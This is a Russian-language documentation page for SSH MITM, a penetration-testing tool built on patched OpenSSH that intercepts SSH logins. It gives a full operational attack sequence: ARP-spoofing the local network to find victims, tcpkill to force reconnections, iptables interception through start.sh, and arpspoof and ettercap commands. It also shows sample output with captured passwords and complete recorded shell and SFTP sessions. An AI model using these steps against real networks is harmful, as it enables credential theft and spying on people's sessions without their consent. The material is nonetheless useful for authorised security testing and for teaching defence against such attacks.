SSH MITM

Описание SSH MITM

SSH MITM — это инструмент тестера на проникновения, который позволяет аудитору перехватывать SSH подключения. В качестве основы инструмента взят исходный код OpenSSH v7.5p1, который пропатчен особым образом, что превращает его в прокси между жертвой и SSH сервером, к которому она пытается подключиться; все пароли, передаваемые в виде простого текста и сессии перехватываются и сохраняются на диск атакующего.

Безусловно, SSH клиент жертвы будет жаловаться, что изменился ключ сервера. Но поскольку в 99.99999% случаев это вызвано легитимными действиями (переустановка ОС, изменения конфигурации и т. д.), многие/большинство пользователей пренебрегают этим предупреждением и продолжают.

Примечание: модифицированный sshd_mitm рекомендуется запускать только в контейнере виртуальной машины! Изменения, сделанные в OpenSSH, затрагивают критические области кода без оглядки на безопасность. Не трудно представить, что эти изменения открыли серьёзные уязвимости.

Домашняя страница: https://github.com/jtesta/ssh-mitm

Автор: Joe Testa

Лицензия: GPLv2

Справка по SSH MITM

У программы нет опций, для запуска и остановки атаки используются файлы start.sh и stop.sh.

Скрипт JoesAwesomeSSHMITMVictimFinder.py используется для поиска целей перед атакой. То есть этот скрипт ищет компьютеры с SSH подключениями.

Справка по JoesAwesomeSSHMITMVictimFinder.py

Использование:

JoesAwesomeSSHMITMVictimFinder.py [-h] --interface ИНТЕРФЕЙС
                                         [--block-size РАЗМЕР_БЛОКА]
                                         [--listen-time ВРЕМЯ_ПРОСЛУШИВАНИЯ]
                                         [--ignore-ips IP_ДЛЯ_ИГНОРИРОВАНИЯ [IP_ДЛЯ_ИГНОРИРОВАНИЯ ...]]
                                         [--one-pass] [-v] [-d]

Опции:

необязательные аргументы:
  -h, --help            show this help message and exit
  --block-size РАЗМЕР_БЛОКА
                        количество IP адресов для ARP спуфинга за один раз (по умолчанию: 5)
  --listen-time ВРЕМЯ_ПРОСЛУШИВАНИЯ
                        время в секундах для прослушивания SSH активности
                        (по умолчанию: 20)
  --ignore-ips IP_ДЛЯ_ИГНОРИРОВАНИЯ [IP_ДЛЯ_ИГНОРИРОВАНИЯ ...]
                        IP адреса для игнорирования. Списки можно разделять пробелами или запятыми
  --one-pass            вместо выполнения операции операции по кругу, выполнить
                        только один проход
  -v, --verbose         включить вербальные сообщения
  -d, --debug           включить сообщения отладки

обязательные аргументы:
  --interface ИНТЕРФЕЙС
                        сетевой интерфейс для прослушивания

Руководство по SSH MITM

Страница man отсутствует.

Для разработчиков

В файле lol.h имеются два объявления переменных: DEBUG_HOST и DEBUG_PORT. Включите их и установите имя хоста на тестовый сервер. Теперь вы сможете подключаться к sshd_mitm напрямую без использования ARP спуфинга — это позволит вам протестировать ваши изменения.

Пример подключения:

ssh -p 2222 действительный_пользователь_на_хосте_для_отладки@localhost

Для тестирования изменений в исходном коде OpenSSH, используйте скрипт dev/redeploy.sh.

Для просмотра различчий (diff) не отправленных в репозиторий изменений (то есть ваших изменений) используйте скрипт dev/make_diff_of_uncommitted_changes.sh.

Для регенерации полного патча к исходному коду OpenSSH, используйте скрипт dev/regenerate_patch.sh.

Примеры запуска SSH MITM

Поиск целей

Скрипт JoesAwesomeSSHMITMVictimFinder.py делает поиск целей в локальной сети очень простым. Он выполняет атаку ARP спуфинг блоков IP на короткое время и сниффит трафик в поисках SSH подключений. IP адреса атакуются не одновременно, а небольшими блоками на короткое время — все блоки обрабатываются последовательно, когда скрипт доходит до последнего, то всё начинается сначала. Он сообщит о всех исходящих SSH подключениях исходящих от устройств в локальной сети.

По умолчанию JoesAwesomeSSHMITMVictimFinder.py будет выполнять ARP спуфинг и снифить только по 5 IP адресов за раз в течение 20 секунд перед тем, как перейти к следующему блоку из 5 адресов. Эти параметры можно настроить исходя из следующего компромисса: чем больше IP спуфится (атакуется) за раз, тем выше шанс, что вы поймаете исходящее SSH соединение, но также повышается нагрузка и на ваш сетевой интерфейс, который у домашних компьютеров редка предназначен для такой интенсивной работы. Под слишком большой нагрузкой ваш интерфейс начнёт отбрасывать фреймы, что будет приводить к отказу-в-обслуживании (проблемам в работе сети) и сильно повысит подозрительность (а это плохо). Это значение по умолчанию в большинстве случаев не должно приводить к проблемам, хотя это приведёт к более долгому поиску целей. Для сетей с низкой нагрузкой размер блока можно безопасно увеличить:

Запуска скрипта для обнаружения целей (устройств, с которых выполнено SSH подключение):

./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53

Пример вывода:

Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

Приведённый выше вывод показывает, что два устройства в локальной сети создали SSH подключения (10.11.12.43 и 10.11.12.70); они могут стать целями для атаки человек-посередине. Тем не менее помните, чтобы потенциально перехватить учётные данные, вам нужно ждать, когда они инициируют новые подключения. Нетерпеливые пентестеры могут опционально в принудительном порядке закрыть существующие SSH сессии (используя инструмент tcpkill), чтобы клиентам немедленно было предложено создать новые…

Запуск атаки

1. После того, как вы завершили начальную установку и нашли список потенциальных жертв (смотрите выше), нужно выполнить от root скрипт start.sh:

sudo ./start.sh

Этот скрипт запустит sshd_mitm, включит IP forwarding и настроит перехват SSH пакетов через iptables.

2. Запустите ARP спуфинг цели(целей).

Совет от профессионалов: НЕ надо спуфить всё! Ваш домашний сетевой интерфейс вряд ли способен одновременно обрабатывать трафик всей локальной сети. Выполняйте атаку спуфинга с помощью arpspoof в отношении парочки IP за раз:

arpspoof -r -t 192.168.x.1 192.168.x.5

В качестве альтернативы вы можете использовать инструмент ettercap:

ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3. Мониторьте содержимое auth.log. Перехваченные пароли появятся там:

sudo tail -f /var/log/auth.log

4. После установки сессии, полный лог ввода и вывода можно найти в /home/ssh-mitm/. SSH сессии записываются как shell_session_*.txt, а SFTP сессии записываются как sftp_session_*.html (с переданными файлами, сохраняющимися в соответствующей директории).

Пример результатов

В случае успеха, файл /var/log/auth.log будет иметь следующие строки, в которых записан пароль:

Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Далее SSH сессия жертвы записывается в полном объёме:

cat /home/ssh-mitm/shell_session_0.txt

Пример вывода:

Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Помните, что символы в командах пользователя должны появляться дважды в файле, поскольку записывается ввод от пользователя, а также записывается вывод от оболочки (который повторяет (echo) символы). Обратите внимание, что когда программы вроде sudo и ssh временно отключают повтор введённого пользователем для чтения пароля, дублирующие символы не попадают в журнал.

Вся SFTP активность также захватывается. Используйте браузер для просмотра sftp_session_0.html. Этот файл записывает все команды со ссылками на выгружанные и загруженные файлы:

cat /home/ssh-mitm/sftp_session_0.txt

Пример вывода:

<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

Установка SSH MITM

Установка в Kali Linux

sudo apt install python3-netaddr python3-netifaces
git clone https://github.com/jtesta/ssh-mitm
cd ssh-mitm/
export LANG=en_US.utf-8
sudo ./install.sh

Установка в BlackArch

Программа предустановлена в BlackArch.

sudo pacman -S ssh-mitm

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты SSH MITM

Инструкции по SSH MITM

Близкие программы:

  • Mana (61.3%)
  • Ettercap (61.3%)
  • SSLsplit (61.3%)
  • LANs (61.3%)
  • Intercepter-NG (61.3%)
  • evilginx2 (RANDOM - 6.5%)
  • Рекомендуется Вам:

    Comments are Closed